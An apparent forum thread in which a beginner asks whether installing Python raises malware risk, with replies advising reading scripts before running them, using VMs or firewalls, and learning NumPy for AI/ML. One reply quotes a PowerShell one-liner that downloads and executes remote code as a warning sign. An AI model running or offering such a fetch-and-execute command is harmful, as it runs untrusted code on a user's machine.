Hi Guys,

I have a very Stupid question -

This is my 1st day of learning Python - so installed it and VS code/pycharm.

Obviously, my PC has lot of warez installed - but all clean. No issues/virus as such. Malwarebytes installed and I scan frequently.

Does installing Python make my PC more vulnerable to Viruses? like if they get hold of the program, they can run some malware codes through it? Should I stay away from Powershell ?

Sorry, for stupid questions. I just want to be safe

NOTE -
Im learning from "Udemy - 100 Days of Code The Complete Python Pro Bootcamp - Dr. Angela Yu"

Cheers
G

 

Last edited: Sep 17, 2025

No.

No.

 

Not by itself, no. But you shouldn't run random Python scripts either without checking them out (or at least asking, that's how you learn).

Be aware of unknown projects with a lot of weird dependencies though. How to spot those is another thing, but as long as you don't run random scripts you'll be fine.

Same thing with Powershell, but those have more potential to cause havoc as PS exposes the entire Windows API. Common sense works here as well.

Something like this in PS should raise a few eyebrows:

Code:

iex (iwr https://some.random.url).Content

 

I've been doing Python for about 15 years. Python shouldn't put you at risk unless you're intentionally running dubious scripts or intentionally endangering yourself with your own coding. Python can do a lot of stuff, including bad stuff. But Python also doesn't need to be installed for Python code to be run on your computer by a third party, so it's a losing battle to be worried about installing Python putting you at risk when the existence of Python in itself already puts you at risk (and you've been fine all this time). The risk is somewhat similar to PowerShell.

 

So basically python scripts are in format "file.py" right. I shouldn't run any file with .py format especially from an unknown source ?

Also to avoid powershell - then I might stick with just VS code/pycharm to learn. or can VS code run powershell internally as well ?

 

Yes, VSCode can run Powershell scripts just like Python scripts, both require an extension though. The scripts themselves are safe to open in VS code; they're just text.

It's not a bad habit to first look at a script and only then run if it looks alright. And it's not a bad idea to run the scripts in the command line, they tend to spit out more information out that way.

Learning to spot possibly nasty scripts takes practice, but reading code and trying to understand it is a crucial component in learning to code. If not sure about something: don't run it and then ask.

 

ideally, you'd want a completely isolated environment, like virtual machine or dedicated computer,
if you're just starting, I'd probably use some behavior-based firewall like Netlimiter (or LittleSnitch on Mac) to see what's going on through network and ability to block it

 

This is Bang on advice! Thank you so much :D
So, basically I dont need to worry - but I surely need to be more conscious about scripts - n that might help me learn faster and better as well
Will try to build a habit of asking myself internally what does this code do logically

 

So I use Malwarebytes and also Windows Firewall Control (if that helps)
But obviously, when VS code and Pycharm asked for permissions - I allowed it
VM is good idea but kinda complex :D I plan to get another laptop but that will also be Music laptop so will have warez :D

 

15 years FTW! Any good Courses or Method to learn ?
Im learning Python because I eventually want to get into AI ML and Data science (will learn libraries also) - that is the future and great money

 

If you're writing your own code (and not using any weird or exotic external libraries) then running in a VM is not necessary.

There is a Python feature called "virtualenv" which has nothing to do with virtual machines, but which is quite necessary to learn eventually when doing Python. Don't confuse the two.

Brush up on linear algebra, install Jupyter, and learn NumPy.

 

Watch out, if a python begins to constrict your computer then the only thing to do is use your Bowie knife to save it's life.

 

in the long run, you will want dedicated computer for audio, and dedicated hypervisor server for CI/CD developments and deployments (Proxmox + Docker + Forgejo or Gitea...)

 

Noted Sir
Even the course Im following suggested the same thing - Numpy, Pandas, Algebra Prob Stats, ML Scikit learn library (after I learn python)
I don't even know the horizon, but I wish to cover all this in 12-18 months (if possible)
Im not stopping now! We are in Pre AI era and if learnt correctly, these skills will pay loads in future

 

Hopefully I will reach there too brother :D
For now, Numpy, Pandas, Algebra Prob Stats, ML Scikit learn library in the pipeline \m/
Then will get into DevOps

 

Python is a very broad language, so my advice is going to be very generic: start writing scripts to make your life easy (automate everything), take notes of everything you use to write the scripts and after some time you will have a bible of references to write anything you need. Make use of something like Obsidian to write and reference stuff quickly.

My work was mostly on servers/datacenter, so it's not very useful knowledge for your case. One thing I would say for certain is that most people who get into coding for the money don't really stick around. In fact, I would avoid talking about money at all unless it's relevant, most serious programmers will roll their eyes when they learn you're doing this for the money. Maybe it's different around the AI ML people, I can't say because I've left professional coding for a few years now.

 

ChatGPT is scarily good at coding in Python (and other languages). I use it loads for small scripts and for parts of large ones. I think softies of the future will not have to learn the syntax of anything. They'll just need to be able to describe what they want and, based on my experience, you can be quite vague about it and still get a decent bit of code with sensible naming conversions and formatting. It's astonishing, and I guess this is just the start.

 

Agreed! That's actually True for every segment. Love for money should not be the core driver, love for process/skill should be
Same applies for Music
Tho personally, Im an MBA in marketing! But I have started to feel "outdated" due to AI and its scary seeing the future
So im thinking of adding Coding/AI ML to my portfolio - to be future proof to good extent :D

 

Very True! Like Nvidia founder said AI might not replace humans, BUT people who know how to use AI surely will ..